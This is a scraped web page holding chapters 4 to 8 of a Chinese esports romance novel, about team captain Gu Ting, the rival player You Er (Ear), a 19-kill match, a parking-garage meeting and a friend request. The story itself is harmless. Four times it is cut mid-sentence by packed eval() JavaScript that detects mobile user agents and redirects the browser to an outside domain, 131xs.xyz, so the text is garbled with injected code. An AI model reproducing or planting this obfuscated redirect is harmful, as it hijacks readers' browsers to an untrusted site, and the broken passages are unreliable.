l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507005|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 播太晚会饿,特地做了零碎小吃放在一楼的冰箱里,顾听下楼都是轻手轻脚的,生害怕发现抓到被批。 终于有惊无险地到保安室拿了小龙虾,包装盒大得能赶上一口锅,顾听拍了张照片给宋星辞发过去。 -Listen:感谢星辞大人的投喂【卡皮巴拉洗澡.jpg】 -星辞北极远:跪安吧,卡皮巴拉【卡皮巴拉架刀.jpg】 顾听又在他们没有拉领队教练和经理版的小群里发了条消息。 -Listen:一起来吃小龙虾呀【企鹅转圈】 -猛踹瘸子那条好腿:我来【色】【色】【色】 -星光荡开宇宙:你也不怕领队发现啊? -鱼的记忆只有七秒:等我播完这一把【暗中观察.jpg】 -陈述不是句号:我的最爱!!! -Listen:@星光荡开宇宙,韩队睡了,我刚看到他的房间灯是关着的。 老韩的确睡了,可顾听与下楼倒水喝的战队经理小萝姐迎面撞了个正着。 “小萝姐。”顾听尴尬又不失礼貌的一笑,打招呼道。 “放心,我不会给你们领队告状,”小萝姐笑着小声说,“这段时间你们挺辛苦的,放纵放纵没什么。” “一起吃吧小萝姐,”顾听说,“挺多的。” “我就不吃了,晚上吃重油重辣的会长痘,”小萝姐搁下杯子,“你们吃完早点休息,明天鱼苗有个代言要拍广告视频。” “好的。”顾听站在原地乖巧点头。 眼见小萝姐上楼了,其余四个都从二楼的楼梯扶手拐角处探出脑袋,顾听佯装恢复正经表情,朝他们比了个OK。 陈述率先飞奔下楼,搓着手手,“爱死你了队长!我刚才刷到美食主播探店,老馋了!” “这不是我点的,我发小点的,”顾听给他一双手套,“吃吧。” “他是天使!”陈述握拳比在胸前,肯定道。 “好香啊,”魏寻也深嗅,“我以为你只是下楼喝牛奶。” “吃完再喝吧,对了鱼苗姐,谢谢你的脐橙。”顾听说。 “客气什么。”彭于渺是SAB俱乐部里唯一的女选手,打的位置还是狙击手,一路走来的血雨腥风不比现在处于风口浪尖的顾听,初中就辍学打电竞,挣的钱全供妈妈治病。 很有魄力的一姑娘。 “换个地方吃吧,待会儿真被老韩发现怎么办?”樊宇卿坐在小板凳上看着他们吃,没有戴手套。 “你要是被发现,就别吃。”彭于渺抬起头,嗓音沉静地说。 就两句话,气氛顿时有些微妙。 樊宇卿嗤了声,起身,“你们慢慢吃。” 他很快上了楼,魏寻也解释说,“跟他老婆吵架了,心里憋着火儿呢。” 樊宇卿已经23岁了,是他们队伍中是最大和最早结婚的选手,据说他和老婆青梅竹马,不少粉丝磕他俩的爱情是纯爱。 “那给樊哥留一些吗?”顾听问。 “懒得留了,他不会吃的,放冰箱明天倒真让老韩发现了,”魏寻也说,“队长,我给你分享的你那个死忠粉喷人的语录,你其实可以学一学,我觉得他喷的都好有道理。” 5. 第 5 章 以前被别人保护得太好,以至于顾听养成了软绵绵的性格,一时半会儿很难改得过来。 但人总是要学会独立成长。 顾听点头道,“好的魏哥。” “今晚直播我用大号打巅峰,你们知道我撞车谁了么?”陈述压低声音,神秘兮兮地说。 “撞车谁了?” “UNP的诺手!”陈述一拍膝盖,可惜手上沾了红油的手套没摘,把他的睡裤赫然印上麻辣味儿的巴掌印,他拍完才反应过来顿时发出尖锐地暴鸣,“噢NO——” 顾听坐他旁边,眼疾手快地捂住他的嘴。 “需要这么激动吗?差点害死我们你!”魏寻也佯装恶狠狠地低吼。 “他偶像,能不激动么,”彭于渺能理解少年人的心境,“当初为了诺手打协防,偶像的力量。”说完,还朝陈述竖了个拇指。 这个顾听也知道,陈述本来不会签约进SAB,目的是KG顶级协防者张诺所在的RTY俱乐部。RTY前些年还有些知名度,但队里的选手退役的退役,转会的转会,资金不够运转,运营成本垫底,唯一一位明星选手张诺也被UNP买走,粉丝追着这么个穷战队叫苦不迭,没多久便宣布解散了。 “UNP这次战队积分在KWC排名几强来着?”魏寻也嘶了声,问。 “唔,四强。”顾听回。 三双眼睛齐刷刷地看向他,幽幽地说,“嗯?不是叫你别看网络么。” “我没看,”顾听悄咪咪地说,“我上次路过教练组的会议室,顺耳听见的。” “今年他们的阵容很强哎,选手平均年龄没超过19岁,除开诺手,全是新秀,”陈述说,“听说队伍中还有一位从美国战队SPD转回来的,SPD什么含金量,连续十年全球第一的KG战队,要不是......” “咳咳。”魏寻也用咳嗽打断陈述的话,眼神制止。 陈述立即闭上了嘴。 彭于渺侧头,见顾听表情没变,接着说,“就那个叫游迩的是吧,他之前在美国打的位置都是突破手,操作很激进,回国之后反而练起了反侵者。” “换位还能带队伍打进KWC四强,又是一位天才啊,”魏寻也叹了口气,“跟你们这群天赋型选手拼了!” “说起来,他的id和队长的很像呢。”彭于渺提了一嘴。 “嗯?”顾听茫然地眨动长睫。 “Ear,耳。”彭于渺说。 顾听闻言,轻轻蹙眉,感觉这个id非常熟悉,脑海里瞬间浮现出模糊朦胧的画面,就连场景里说话人物的声音都嗡嗡的。 再怎么想,也想不起来了。 满足地吃了顿宵夜各回到卧室,顾听进门时,顾越还躺在上床看书。 “老韩这睡眠质量越来越好了,我在房间里都听见你们笑得嘻嘻哈哈的声音。” “啊,这么大?我还以为我们声音很小呢。”顾听讶异地说,找好衣服打算去洗澡。 “有可能他是故意的,”顾越说,“先前我们闹的动静可比你们大多了。” 顾听的脚步一顿,转头笑着看他哥,“或许吧。” 总决赛过后的第五天,十二月的月末,网上讨伐的声音终于消停了些,都在准备迎接新的一年。而本来俱乐部给他们放的赛后休整假,全部用来补了直播时长,后面又要马不停蹄地进行常规赛的训练。 春季常规赛将在新年2月19日开始,采用BO3双循环积分赛制,排名前四的战队晋级季后赛胜者组,排名5-8名的晋级季后赛败者组,9、10名直接淘汰。 时间说紧也不紧,一般春季赛没有多少人看,认为没意思,就是国内打打上升积分攒人气,不过对于全华班曾经寄托唯一希望的SAB连冠中断,一队选手的一举一动都在观察当中,意味着后期到底还具不具备商业价值。 这很现实。 为了晚上能更好的跨年,顾听选择下午就把时长给补完,一向情绪稳定的他都被粉丝看出来命好苦的样子。 打了几天的小号,冲上了皇冠的段位,也是时候稳一稳大号的巅峰积分了。 顾听指定匹配寒港地图。 寒港,也是雪地模式,玩法多,图景漂亮,甚至KG请来国际CG师专门为游戏画上极光图打造3D画面,在里面宛如身临其境,虽然寒港比较难上分,很多玩家为了看一眼极光还是会选择打卡。 高段位更容易撞车职业选手或者主播,但如果特意选择一张地图玩儿这样的概率就要小一点,顾听倒不是排斥撞车其他人,只是单纯地比较喜欢寒港那张图。 然而这次却撞车到了UNP的王牌,前两晚他们讨论的对象。 那位从美国战队转回中国的天才少年,游迩。 顾听虽然不认识他,可一想到没忍住地轻笑,果然不能在背后讨论人。 【主包怎么自顾自的就笑了?】 【哦哟,对面突破手是小孩儿哥啊,他不是玩儿反侵者吗】 【小卡就比他大一岁,都还没到20呢,俩小孩儿哥的对决】 游戏局内,队友激动地开麦:“Listen!Listen!我是你十年老粉啊!” [防卫队SAB-Listen:^.^] 爆破手还在持续输出,“我太高兴了,Listen你能帮我告诉Seek我超级喜欢他吗,地图上所有的埋雷点我都是和他学才打上这个段位的!” Seek是魏寻也。 [防卫队SAB-Listen:行吧TT] 【?十年老粉的爱好廉价】 【何书桓,是你吗?】 【借小卡追星来了】 顾听来到滑雪场,捡上防寒的护具和子弹,放大地图看见对面掠夺队的枪在烛光木屋标点黄色记号,距离他们防卫队区域五公里,需要载具。 他正用倍镜寻找雪橇车,耳机里传来他再熟悉不过的AK响声,屏幕右下角显示:UNP-Ear已在圣诞森林成功击杀防卫队反侵者和爆破手。 [防卫队-爆破手:Listen!他在东纬135度] 顾听迅速敲下OK,给安雅安装好枪托和握把,气势汹汹地直奔圣诞森林。在KG中,被击杀过后的玩家会迅速在基地复活,直至游戏结束,目前两方队伍就游迩开局战绩2-0-0。 圣诞森林里的树木遮天蔽日,在一片白茫茫的雪景中显得视觉效果压迫感十足,是埋雷和狙击的好地方。 安雅自带灵活位移的技能,顾听操控跳上粗壮的枝干,在密林里穿梭,避开对方爆破手的雷区,频繁地拉倍镜切视角。地图不会显示脚步与枪声的印记,全靠听声辨位,终于听到除开安雅脚步以外的声音。 纽卡斯,突破手当中的小丑角色,花里胡哨的衣服在对面45度的丛林里一闪而过,安雅使用资源装备里的钢索系在腰间,凭借自身技能如同鬼影跳跃三百米的距离,同时角色触发语音,CV嗓音透露出找到猎物的兴奋,“Monster,找到你了,来迎接我的枪吧!” 安雅扣动突击步枪黑武士的扳机连发扫射,甚至都没有看到人在哪儿,右下方就已经显示:SAB-Listen已在圣诞森林成功击杀UNP-Ear。 [防卫队-反侵者:我去,这么帅的吗?] [防卫队-狙击手:有自知之明的人已经戴上了狗链。] [防卫队-爆破手:啊啊啊啊啊!Listen我爱你!] 【爱不会迟到,爱只会转移】 【这爆破手好搞笑,慕强说的就是他这类人吧】 【说实话刚刚那一波我也没看见12在哪儿】 【12?】 【Ear,小孩儿哥的粉丝简称他的id12】 别人或许不知道纽卡斯自身的技能,当顾听打了这么久的突破手,对每个角色的技能了如指掌。刚那一波纽卡斯使用了小丑隐身,角色故事背景里,他因长相丑陋只能靠装扮小丑来博得小镇上的人们开心,后来却被女巫下了诅咒,继而永远地隐身在人群中。 [防卫队SAB-Listen:给你俩报仇了QvQ] [防卫队-爆破手:Listen,你是我的爸爸!] [防卫队-反侵者:?我真求你了。] [防卫队-狙击手:求也得排队(爸爸我想要好友位......] [防卫队SAB-Listen:0.0?] 这时,对方协防发言全部可见:Listen,Ear他说他这把要杀你19次。 “嚯。”顾听看到这条,发出轻呼。 队友像是看热闹不嫌事儿大似的,开始在全部频道里瞎起哄,两方就这样你一言我一语起来,彷佛两小孩儿在争爸爸妈妈到底谁最厉害。 十分钟后,熊洞位置被系统故意暴露,意味第一波顶级资源刷新。里面通常会有一把怪物大狙狂徒、白色吉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507006|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利服和军用级防御装备,最重要的是一种交易货币,尼特币。 尼特币也是KG里玩家向往的东西,相当于游戏劵,用来□□的皮肤和兑换传说级角色衣服,积攒到一定的额数还可以卖号换钱,一万尼特币最起码能卖上五万人民币,也可以赠送自己最亲密的好友,大多数小情侣喜欢这样升情侣标识的登记,如此现象导致KG在交易平台骗消费者的骗子泛滥成灾。 每张地图中顶级资源不容易获取,例如寒港的熊洞,一不小心就会被熊拍死,所以有大神的话都谄媚抱紧大腿,哪怕是叫爸爸妈妈,当然不排除真是自己的偶像。 顾听标点熊洞,四位队友马不停蹄地跟在他身后。 “草皮酱,在洞口埋一圈雷吧,”顾听开麦语速不急不慢地说,“雷够吗?” 草皮酱是爆破手的id。 三秒后,爆破手聒噪的嗓门儿响了起来,“好好好,好的Listen,我雷够的,炸不死它丫的!” 顾听率先操作安雅进去,熊洞漆黑一片,看不清楚里面什么情况,他打开背包拿出电筒,灯光刚打开,巨大棕熊趴在地上,眼睛就直勾勾地盯着他,龇牙咧嘴朝他怒吼。 【我操,吓我一跳!】 【这是恐游吧!】 【KG补药做得如此逼真哇】 洞口埋的榴弹被触发爆破,棕熊朝安雅扑过来的同时,队友在耳机里说,“掠夺队他们也来了!” 顶级资源不容易拿,棕熊血条极厚,顾听只能开枪消耗,移动安雅不停后退,想把熊引出来。 右下方显示掠夺队UNP-Ear已在熊洞成功击杀防卫队反侵者。 “呜呜呜我被Ear打死了......”反侵者语气可怜巴巴。 “嗯,我也会把他打死的。”顾听轻声回。 【就这个宠QAQ】 【勇敢小卡,不怕困难[冲鸭]】 【你光保护队友,谁来保护你呢?】 【有谁知道反侵者的设定是保护突破手后背的盾牌......】 安雅成功引熊出洞,与此同时,顾听指挥爆破手和协防者两人进去捡资源,狙击手在据点和他打配合,反侵者重生还在基地,现在局势二打五。 “准备好了吗?”顾听的直播没开声卡,本音介于少年之间的清冽温柔,细听语调轻微上扬,带着稳定人心的鼓励。 “准备好了。”狙击手回得很快,语气利落干脆,传达无比信任的讯号。 “OK,”顾听说,“我数三声,你别管其他的只狙人,剩下的我来补。” “一、二、三——” 狙击手的角色拿着M24一发一个子弹,在狙击枪厚重的枪声下,安雅身影敏锐如猎豹,粉发在画质里甚至都有了残影。 顾听左手游刃有余地在五键位上变换操作,将安雅手中的黑武士换成蝴蝶刀,近身割喉掠夺队的协防与爆破。 “嘭——”纽卡斯倏地身后突袭,打残了安雅大半血。 顾听迅速打上肾上腺素,也没躲起来绑绷带,重新切回黑武士和纽卡斯对刚。这种情况下刚枪,正常人一般是不会如此冒失的。 但顾听不是正常人。 他拉开震爆弹的拉环扔了过去,使得显示屏的画面白光晃动,耳机里嗡鸣阵阵,刺得耳朵都有些疼。就是这两秒的眩晕,视角切换成了第一人称,蝴蝶刀花里胡哨地转动,而后刺中欲逃跑的纽卡斯的后脖颈。 防卫队SAB-Listen已在熊洞成功击杀掠夺队UNP-Ear。 接下来,宛如好戏才刚刚开场,Ear所玩的纽卡斯躺遍寒港的各个角落。 其中游迩战绩2-19-4,19个人头都是死在顾听手中的。 【小孩儿哥开直播没,我要看他的表情!】 【没有开哈哈哈哈哈】 【在12的眼中,小卡是魔丸吧!】 【那很可爱了】 【12队的协防者也是魔丸,他不开那句玩笑屁事儿没有】 [全部]掠夺队UNP-Ear:? 似乎是终于忍不住了,游迩所发的问号显得空荡又心酸,还带着几分命苦。 小孩儿哥现在主玩反侵者,常用角色芬恩,突破手打得烂勉强能原谅,曾经在美国打的突破手位置已然忘本。 “我操!”祁一端着咖啡路过游迩的电脑,瞄了一眼差点将他手中咖啡惊掉,“谁把你打成筛子了?” 6. 第 6 章 游迩没有说话,祁一倍感稀奇地点开战绩面板瞧着,声音由呢喃变得震惊,“Listen......Listen?!” 少年啧了声,从他手中接过鼠标继续操作。 “我的天,”祁一直起腰不可思议地说,“难怪你被打成这样,我说还有谁能虐你呢。” “很强。”游迩盯着电脑,言简意赅。 “人家十四岁就出名了,”祁一拉过旁边的电竞椅自然而然地坐了下来,喋喋不休,“好多战队抢着签他,我还差点儿和他当上队友呢,他还有个哥,那不是全国第一那是全球第一,有一场比赛血虐英国JMK,把白人打自闭了都,联盟曾把他们俩兄弟称为双子星——” 游迩转过头看着他。 少年前刺的黑发抓得凌乱,中美混血的五官深邃,瞳仁是少见的灰色,面无表情地打断祁一的话问,“你不给柠哥送东西吗?” “哎呀管他的,每次去串门都不带自己的外设,让他等着吧,”祁一迫不及待地说,“我观一下战的。” 其实也观不了什么精彩的东西,临近赛点,掠夺队的Ear都被打爆了,熊洞的顶级资源包括尼特币也让防卫队他们拿走,战况输赢已定。 电脑界面显示掠夺队夺枪失败,游戏结束。 “唉,等哪天我撞车Listen了一定好好请教他突破手该怎么打。”祁一喝了口咖啡,话语饱含期待。他在UNP中就是突破手的位置,和顾听差点当上队友是因为Cross那时候为SAB一队首发,而他加入后只能身处替补。 祁公子肯定是不愿意当别人替补的,摇身抵不过命运的安排,来到他看不太起他爸随手成立供他玩儿的俱乐部UNP。 从某种意义上来讲,他还是UNP的老板......的儿子。 “你跟他很熟?”游迩在祁一即将起身时问。 “电竞就是一个圈儿,除开战队的新秀,老队员基本都认识,”祁一随口说,“我们都还有群呢。” “拉我。”游迩说。 “你没进啊?妈呀我以为你一直在里面呢,”祁一掏出手机,“进不进都无所谓,就选手自己拉的群聊一聊八卦啥的,这两月打比赛群里都销声匿迹了。” 他把群链接分享给了游迩。 “进群记得改备注,不然他们以为我拉的是广告。” “广告商送的?哇,谢谢你鱼苗姐。”顾听欣喜地看着包装精美的袋子,是前两天彭于渺代言的眼霜。 “客气啥呢,”彭于渺大咧地笑,“我们在楼下等你哈。” 顾听应了声。 下播已经五点多了,顾听匆匆套上搭在电竞椅的黑色羽绒服,又戴了根围巾,临走前,觉得粉发太过于显眼,视线落到衣帽架挂着的灰色冬帽。 “看什么看,还不戴上,外面很冷的。”顾越走过去取下来递给他,“还是嫌哥织的丑?” “嗯。”顾听接过,粉发被毛茸茸的毛线遮住,只剩下后颈的粉色狼尾边。 “下次给你织个好看的,”顾越说,“你来挑毛线颜色,好吧。” “再织条秋裤吧。”顾听笑着说。 “行!”顾越点了点头,大声说。 顾听收拾好下了楼,陈述和彭于渺正围着魏寻也的手机看得聚精会神,他也好奇地将脑袋凑过去,“在看什莫?” “队长,那个游迩是不是要找你算账啊?”陈述问。 顾听茫然脸,看向魏寻也。 魏寻也耸耸肩,手指点着手机屏幕,把群聊界面调给他,下方有条蓝色字体的游迩进群通知。 “最后那一局你杀了他19次呀,”陈述比了个拇指,“估计此人已经怀恨在心了。” “不会......叭,”顾听眨眨眼,“这不就是普普通通的进群吗。” “他之前怎么不进群,偏偏你杀他19次过后再进群,”魏寻也一本正经地分析,“不出意外,他马上就会加你好友了。” “瞎猜什么,”彭于渺看不下去了,“走,队长,我们走。” “哎,樊哥呢?”顾听才发现只有他们四个人。 “陪老婆呗,”魏寻也说,“一大早就离开基地了。” 除非打比赛会坐大巴,其余时间去哪儿都是他们自己开车。这年头流行C2,魏寻也即使左腿义肢勉强也将驾照拿了,陈述刚成年没多久,几个人当中就他没有驾照。 不过顾听连实习期都还没过,他们有意让他开车练手,跨年人流量又多,属实是一个敢开几个敢坐。 还记得第一次来这座大城市的时候,所有人脸上带着青涩迷茫,如今早已轻车熟路,远处的东方明珠塔闪烁着耀眼的光芒。 透过后视镜,顾听瞥见侧头一直看着窗外的魏寻也。 相比于陈述和鱼苗,他这会儿格外的安静,顾听大概知道他在想些什么。 “@所有人,跨完年在一点之前必须回基地,不准喝酒......”陈述低声念着老韩在群里发的消息,哀嚎一声,“怎么还有时间限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507007|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制啊!” “韩妈妈又开始了,”魏寻也嗤笑,“估计前天那几个青训生给他整害怕了。” “嗯?什么什么?”陈述从副驾驶转过身。 “你们不知道吗?那几个青训生借给队友庆生的名义一晚上没回基地,在外面聚众赌博,跟.....”魏寻也指了指陈述,“跟句号你一样大。” “我操!然后呢?” “劝退了呗,”魏寻也说,“幸好及时发现了,成为二队那还得了?” “想想我们当时多乖啊。”陈述啧啧。 “你乖个屁,看着就是一副叛逆少年的模样,”魏寻也嫌弃地撇嘴说,“人队长才乖好吗。” “靠!”陈述发出不满。 “你看,不是‘我操!’就是‘我靠!’”魏寻也说。 陈述:“......” “我不乖。”顾听一只手拐着方向盘,一只手安慰性地拍拍少年的肩,笃定地点头哄小孩儿说。 彭于渺乐得不行。 七拐八拐来到餐厅,顾听让他们提前下车去包厢坐着,他要去和停车位作斗争了。拿本儿差不多半年多了,他的倒车入库还是很垃圾。 彭于渺不放心地说她来,顾听说他这次不信那个邪,偏要把车子给倒进去。 有些事情他无所谓的性格可以甩手不做,唯独对泊车有股莫名地执着。 地下停车场基本都停满了,顾听拐了几圈才等到一辆吃完饭的车主让出车位,当看见车位夹在两车中间时,这对于他来说是世纪难题。 蹂了几次还是对不齐,正好又进来了一辆rs7,别人以为他要开走,就停在前面等。莫名被注视,顾听更紧张了,心想干脆让给别人吧。 唉。 正要打盘出去,rs7车主开门,朝他走了过来,隔着车窗看不太清来人什么样,只感觉个子很高。 车窗被轻扣,顾听降下来,歉意的笑挂在唇边,映入他眼帘的是一张非常年轻的脸,像是混血儿,长得很帅。 “你......你是要倒车还是离开?”游迩灰色眸子垂目看着顾听,询问道。 “不好意思啊,我是要倒车的,”由于暖风太高,顾听先前在车里就摘掉了冬帽,标志性的粉发狼尾完全显露,稍微有些凌乱地垂在额前,搭在方向盘的手臂毛衣袖子上挽,紫色鸢尾文身缠绕瘦削小臂,他抱歉地开口,“但我技术不好,这个车位就给你吧。” “不用,”游迩顿了顿,“不介意的话,我可以帮你。” 7. 第 7 章 考虑到魏寻也他们还在包厢等他,这位好心的青年帮忙泊车,顾听当然是不介意的了。 他打开副驾驶的门下车,眼眸明亮莞尔道,“那麻烦你了。” “不麻烦。”游迩抿唇,擦过他的肩坐进了驾驶位。 他俩身高差不多,但不知道是不是青年头发的原因,顾听觉得他可能还要高上自己一点儿。他喜欢把座位调的离方向盘近些,这样他才有安全感,驾驶位的空间对于青年来说应该会很憋屈。 刚在心里思索完,只见游迩整个人都卡在驾驶位上,长腿无处安放。 “啊,这个座位需要往后调一下......”顾听顷身,打算帮青年调整,却被一把握住手臂,青年修长的手指覆盖他的文身。 他错愕抬头,与那双灰色眼眸对视。 游迩喉结滚动,嗓音发哑地说,“我自己来调吧,我知道。” “行。”顾听点了点头,退至宽敞处等。 要不说还得是老手,虽然顾听并不认为青年比他大,仅此一次,车身不偏不倚稳稳当当地停在了车位里,是教练会夸的非常标准的程度。 顾听感慨,人与人之间的天赋并不相同。 兜里手机铃声响了,来电彭于渺,估计是问他倒车进度的,他滑动接听,青年熄火下了车。 “要我来帮你吗?”彭于渺含着笑意问。 “不用哦,已经倒好了,”顾听应声,对走来的青年笑了笑,“真的谢谢你。” “不客气。” “谢啥啊谢——” 他俩同时开口,彭于渺戛然止住腔调。她听见听筒里传来陌生的男声,才反应过来顾听是在对陌生人说谢谢。 游迩的视线在顾听的脸上停留半刻,没再多言语,上了自己的车离开了。 “鱼苗姐?”顾听按动车锁,看了眼手机,没断线。 “是别人帮你停的车吧?”彭于渺问。 “碰到一个好心人。”顾听转头,那辆rs7已经开出去了。 “我是说你怎么半天都没上来呢,”彭于渺说,“好了,你俩快给我转钱。” “什么转钱?”顾听一愣。 “噢噢噢,没叫你给,”彭于渺大声说,“陈述,魏寻也,别耍赖啊!” “队长!鱼苗姐吃你的——!”话还没说完,电话就被掐断了。 顾听乘坐电梯来到餐厅,服务员领他到提前预订的包厢,刚推开门,陈述和魏寻也正拿起手机给彭于渺扫付钱的二维码。 看见他进来,陈述肉疼地控诉,“队长,鱼苗姐她吃你的人血馒头!她赌你今天倒不进去车,我和魏哥非常相信你能倒进去!” “怎么这样?”顾听佯装轻蹙眉头,“下次一定让你俩赢回来。” “队长,下次别再两两相望,唯余失望了。”陈述幽怨地说。 “不会哒,”顾听弯眼笑,“相信我,嗯?” “鱼苗说是好心人帮你停车的?”魏寻也问,“以后要留点心眼,现在坏人多得很。” 坏人?顾听想了下青年的容貌,应该没有长得那么周正的坏人,看起来像高中毕业的学生。 “好哦。”顾听回道。 队伍中就他和魏寻也一个贵州人一个四川人,算是能够吃辣的省份,剩下的三人在南方长大,陈述的家乡广东,他更是一点儿辣味儿都接受不了,高档的漂亮饭吃不饱,于是他们只好折中选择汤锅。 按照老韩的话说,营养健康。 陈述特意拍了张热气腾腾的汤锅,给老韩发了过去。 “哎,求夸。”他乐呵呵地说。 “小孩儿都这样。”魏寻也啧了声。 四个人手机微信铃声同时响。 -老韩:【赞】【赞】【赞】 -老韩:吃完早点跨年早点回来哈,还有两个多小时【呲牙笑】 “你说你发给他干嘛呢,这下知道我们才吃饭了,”彭于渺有些无语,“待会儿想找借口晚点回基地都不行。” “啊!我忘了!”陈述懊悔地一拍脑袋。 “没事儿,到时候就说我开车很慢吧。”顾听压低声音,随即勾起唇角,弧度大了,梨涡便显出来了,还有若隐若现的虎牙尖尖。 “怎么能让你背锅呢,”魏寻也非常不赞同,“明明是句号贪玩儿。” “对,明明是句号贪玩儿。”彭于渺附和。 “靠!”陈述瞪大眼,“靠靠靠靠!” 四个手机的消息通知又同时响了起来,他们以为是老韩,却不想是沉寂了两个多月的选手群。 TXT战队的突破手周肆发了一张巅峰积分榜的图片,他的id宙斯战力2866,亚服排名第四。 这个战队前两年能和SAB一齐冲进KWC,几乎稳定在五六强,被竞粉戏谑是陪跑的。也不止一次因为TXT名字群嘲他们为盗版战队。 今年由于两位老队员退役,士气大减,在季后赛不敌零域战队,故而止步。 -TXT对没错就是贩卖盗版TXT的那个周肆:在所有人都在为跨年吃香喝辣时,有一个人正在奋发图强十连胜上分。 “周肆哥还是那么装。”陈述一副被油到的表情。 “说说就行了,你别发出去啊,”魏寻也说,“小心他立马过来揍你。” “我不发群里都有人发。”陈述无辜说。 周肆这一装,群里其他战队的成员纷纷开始冒泡diss他,斗图大战一触即发,顾听暗中观察,挑好看的表情包给自己添加。 -零域陈延森:@SAB顾听,小听听,有人在你面前耍大刀。 顾听正偷表情包偷得开心呢,骤然吃瓜吃到自己头上。 他随手发了张噜噜的表情包过去。 -UNP祁一:@SAB顾听,【倒霉熊招手嗨.jpg】 -UNP祁一:装周,你能把我们队的Ear杀19次啵? -TXT周肆:你们懂个屁!我这不叫耍大刀,我这叫与小听听肩并肩。 -星核王一珩:差远了 -UNP穆柠:差远了 -HTT林川:差远了 -SAB陈述:差远了 SAB陈述撤回一条消息 -TXT周肆:小屁孩儿我看到了!!!! -SAB顾听:@UNP祁一,【卡皮巴拉比心.jpg】 -SAB顾听:@TXT周肆,【抱抱.jpg】 “都在聊啊,谁发个红包试试呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507008|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彭于渺持续窥屏说。 “我来——”魏寻也话音刚落,却见顾听神色一僵,匆匆撂下一句出去接个电话。 来电显示裴律。 餐厅正堂现在人潮鼎沸,顾听按照指示牌走到洗手间隔间关门撇锁,隔绝了外界喧嚣,抖着手接听,喉咙干涩地开口,“喂,裴律。” 这通电话打了将近十来分钟,到最后快挂断时,顾听闭了闭眼,哑声慢吞吞地说,“我坚持上诉。” 出来的匆忙,他羽绒服还挂在包厢里的衣架,身上只穿了一件黑毛衣。冬天的寒冷入侵每一个毛孔,冷得顾听直发抖。 大脑还在复盘裴律所说的每句话,其实他听懂了裴律的意思,成功的几率不是没有,只是少得可怜,像这种情况根据法律来定的话,很难下定义。 微信消息还在不停地响,顾听垂眸扫了眼。 心一下就安定了下来。 整理好思绪走出隔间,温水冲洗手背,顾听沉默地看着镜子里的自己。 “笑笑嘛,我弟弟长得这么可爱怎么偏偏要当小酷哥?”朦胧浅黄的光晕回忆中,顾越轻掐顾听奶膘的脸颊说。 顾听朝他哥敷衍了事地笑了笑。 “哎小听!你这儿有个坑!”顾越稀奇似的弯腰凑近他观察,“哎!你还有小虎牙!” 顾听扯起唇角,镜中的粉发青年也扯起唇角。 回到包间,队友三个默契地没有问他接了什么电话,陈述还吐槽说,“队长,你是掉坑了吗,我都准备打119来捞你了。” “没白疼。”顾听笑着说。 “俩小孩儿装什么大人呢,”彭于渺提醒顾听,“群里发红包了,快去抢。” “那个啥,游迩,发嗨了,要不是微信有限制我估计他能发个万把块钱的,”魏寻也把手机界面给顾听看,“你看,这小子是少爷吧。” 上面那些是其余战队拼手气发的,后面那一连串红包封面全被游迩给刷屏了。 “嚯,财大气粗。”顾听惊讶地睁大眼,“他受刺激了?” “没有啊,我们发的红包他也不抢,唰唰地发了好几个出来,”魏寻也纳闷说,“估计是......想拉拢关系?” “我觉得,他是想让队长抢,”陈述摩挲下巴,“然后趁机加上队长微信质问为什么会杀了他19次。” 19次是过不去了....... “哇,好可怕,”顾听随之附和,“那我不抢了叭。” “你试试嘛队长,试试,”陈述看热闹不嫌事儿大,用肩拱了拱顾听,“万一我猜错了呢。” “我和他不认识,抢陌生人的红包不好。”顾听说。 “没关系,群里不认识他的都在抢。”魏寻也说,“图个跨年的热闹气氛。” “行吧,”顾听点开最后一个红包,显示已抢光,他调转手机对着陈述,“运气王还是你呢。” “哎来了来了,他又发了!”陈述激动地说。 为了试验陈述的猜想,顾听抢了游迩新发的红包,等了几秒,联系人那一栏并没有弹出好友申请。 “人家就是单纯的——” 话音未落,一条新的好友申请发了过来,顾听疑惑地嗯了声,id赫然是UNP游迩。 8. 第 8 章 猝不及防。 顾听缓缓地将手机搁在桌子上,在煮得咕噜热气腾腾的羊汤里环顾三个人面容多姿多彩的表情。 包厢突然沉静,而顾听的手机屏幕还亮着,都稳坐着没动,就好像摆在他们面前的是一颗定时炸弹。 “他、他、他怎么真加好友啊,”陈述结巴地说,“这个游迩也太玩不起了吧,不就是杀了他19次吗。” “当做没看见算了。”魏寻也说。 